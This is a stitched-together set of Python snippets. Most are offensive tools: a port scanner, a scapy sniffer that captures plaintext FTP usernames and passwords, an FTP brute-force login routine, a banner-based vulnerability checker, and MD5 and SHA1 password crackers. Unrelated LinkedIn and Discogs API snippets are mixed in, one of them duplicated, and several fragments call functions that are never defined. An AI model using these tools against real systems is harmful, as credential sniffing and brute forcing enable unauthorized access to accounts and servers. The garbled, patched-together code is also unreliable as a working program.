def connScan(tgtHost, tgtPort): # Note: Does the port scanning try: sock = socket(AF_INET, SOCK_STREAM) sock.connect((tgtHost, tgtPort)) print(clrd(f"[+] Port {tgtPort} for tcp is Open", 'green')) except: print(clrd(f"[-] Port {tgtPort} for tcp is Closed", 'red')) finally: sock.close()
def ftpSniff(pkt): dest = pkt.getlayer(scapy.IP).dst raw = pkt.sprintf("%Raw.load%") usr = re.findall("(?i)USER (.*)", raw) pswd = re.findall("(?i)PASS (.*)", raw) if usr: print(clrd(f"[*] Detected FTP Login To {str(dest)}", 'white')) print(clrd(f"[+] User Account: {str(usr[0])}", 'white')) elif pswd: print(clrd(f"[+] Password: {str(pswd[0])}", 'white'))
def Main(): app = linkedin_helpers.authenticate() groups = app.get_memberships(params={'count': 100}) if groups['_total'] > 0: selected = random.randint(0, groups['_total'] - 1) print "You're subscribed to " + clrd(groups['_total'], 'green') + " groups." print "The last posts of the " + clrd(groups['values'][selected]['group']['name'], 'blue') + \ " group (randomly selected) will be analyzed." analyze_group(app, groups['values'][selected]) else: print "You aren't in any group. This ends here."
def file_status(passList): global passFile try: passFile = open(passList, "r") except: print(clrd("File doesn't exist in this path.", "blue")) exit(0)
def main(): parser = argp.ArgumentParser(description="Usage of program: " + "-H <target host> -p <target port>") parser.add_argument("-H", "--Host", dest="tgtHost", metavar="", required=True, help="Specify Target Host.") parser.add_argument( "-p", "--Port", dest="tgtPort", metavar="", required=True, help="Specify Target Port for multiple ports separate by comma.") options = parser.parse_args() tgtHost = options.tgtHost tgtPorts = str(options.tgtPort).split(",") if (tgtHost == None) | (tgtPorts[0] == None): print(clrd(parser.usage, 'cyan')) # Note: Outputs "Usage of program: -H <target host> -p <target port>" if no parameters attached exit(0) portScan(tgtHost, tgtPorts)
def checkVulns( banner, filename): #Compares vulnerability defined in filename to banner fn = open(filename, "rb") for line in fn.readlines(): if line in banner: #strip seems to be a problem print( clrd("[++] Server is vulnerable: " + banner.decode("utf-8"), "red"))
def bruteLogin(ip_address, loginfile): #hostname or ip address and the file to use try: pfile = open(loginfile, "r") for line in pfile.readlines(): userName = line.split(":")[0] pswd = line.split(":")[1].strip("\n") print (clrd(f"[@] Trying {userName}:{pswd}.", "blue")) try: ftp = ftplib.FTP(ip_address) ftp.login(userName, pswd) print (clrd(f"[+] {userName}:{pswd} FTP Login Succeeded.", "green")) pfile.close() ftp.quit() return(userName, pswd) #So it doesn't print the not in list if successful except Exception as e: #print (clrd(f"[-] {userName}:{pswd} FTP Login Failed.", "red")) pass print (clrd(f"[-] Username / Password Combination not in list.", "red")) except: print (clrd(f"[!] The file {loginfile} doesn't exist!", "red"))
def Main(): max_length = 10 discogs = discogs_helpers.authenticate() keywords = raw_input('Type some keyworks to search by: ') if keywords is '': keywords = 'Big Star' print 'No keywords were typed. Using "{}" by default.'.format(keywords) results = discogs.search(keywords, type='release') print 'Number of results: ' + clrd(str(results.count), 'green') if results.count > max_length: releases = DataFrame(columns=['release', 'title', 'artists', 'year']) for num in range(max_length): release = results[num] artists = ', '.join([artist.name for artist in release.artists]) releases.loc[num] = [release.id, release.title, artists, release.year] generate_bar_plot(releases) else: print 'As there are less than 10 results, nothing will be done.'
def Main(): max_length = 10 discogs = discogs_helpers.authenticate() keywords = raw_input('Type some keyworks to search by: ') if keywords is '': keywords = 'Big Star' print 'No keywords were typed. Using "{}" by default.'.format(keywords) results = discogs.search(keywords, type='release') print 'Number of results: ' + clrd(str(results.count), 'green') if results.count > max_length: releases = DataFrame(columns=['release', 'title', 'artists', 'year']) for num in range(max_length): release = results[num] artists = ', '.join([artist.name for artist in release.artists]) releases.loc[num] = [ release.id, release.title, artists, release.year ] generate_bar_plot(releases) else: print 'As there are less than 10 results, nothing will be done.'
def main(): parser = argp.ArgumentParser(description="Usage of program: " + "-i <interface>") parser.add_argument("-i", "--interface", dest="interface", metavar="", required=True, help="Specify Interface to Listen From.") options = parser.parse_args() if (options.interface == None): print(clrd(parser.usage, 'cyan')) exit(0) else: conf.iface = options.interface try: sniff(filter="tcp port 21", prn=ftpSniff) except KeyboardInterrupt: exit(0)
def main(): if len(sys.argv) == 2: #requires 2 arguements filename = sys.argv[1] #python starts at 0, 1 if not os.path.isfile(filename): #if the file doesn't exist print("[-] File Doesn't Exist!") exit(0) if not os.access(filename, os.R_OK): #if higher privilege is needed print("[-] Access Denied.") exit(0) else: print(f"[-] Usage: {str(sys.argv[0])} <vuln filename>" ) #if no argument shows this when running exit(0) portlist = [] ip = input("[*] Enter Target IP: ") portlist = [port for port in input("[*] Enter Target Port: ").split(",") ] #list comprehension for multiple port inputs for port in portlist: banner = returnBan(ip, int(port)) if banner: print(clrd(f"[+] {ip}:{port} : " + banner.decode("utf-8"), 'green')) checkVulns(banner, filename)
#! Requires MD5 hash and passwordlist.txt # Note: given a MD5 hash and a passwordlist it will hash the list of passwords till it matches the MD5 hash import hashlib from termcolor import colored as clrd #Import color text to the output, not neccessary but helps easily seeing the data def file_status(passList): global passFile try: passFile = open(passList, "r") except: print(clrd("File doesn't exist in this path.", "blue")) exit(0) md5hash = input("[*] Enter a MD5 Hash Value: ") passList = input("[*] Enter the path of the password list: ") file_status(passList) for p in passFile: print(clrd(f"[-] Trying Password: {str(p.strip())} doesn't match, continuing...", "red")) enc_pass = p.encode("utf-8") hashGuess = hashlib.md5(enc_pass.strip()).hexdigest() if hashGuess == md5hash: print(clrd(f"[+] The password is: {str(p)}", "green")) passFile.close() #don't need as the exit would do the same thing exit(0) print(clrd(f"[-] Password doesn't exist in list.", "red"))
def save_fig(plt, directory, name): filepath = 'reports/APIs/' + directory if not os.path.isdir(filepath): os.makedirs(filepath) filepath += '/' + name + '.png' plt.savefig(filepath) print 'A chart was created at ' + clrd(filepath, 'green')
# ! https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Common-Credentials/10-million-password-list-top-100000.txt # Note: Hashes password from list above using SHA1 and then tries to match to a given SHA1 hash value # Note: If known SHA1 hash can try to match to a given list of passwords then hash them and try to match from urllib.request import urlopen import hashlib from termcolor import colored as clrd #Import color text to the output, not neccessary but helps easily seeing the data sha1hash = input("[*] Enter a SHA1 Hash Value: ") passList = str( urlopen( "https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Common-Credentials/10-million-password-list-top-100000.txt" ).read(), "utf-8") for p in passList.split("\n"): hashGuess = hashlib.sha1(bytes(p, "utf-8")).hexdigest() if hashGuess == sha1hash: print(clrd(f"[+] The password is: {str(p)}", "green")) quit() else: print( clrd(f"[-] Password: {str(p)} doesn't match guess, continuing...", "red")) print(clrd("Password doesn't exist in this list", "orange"))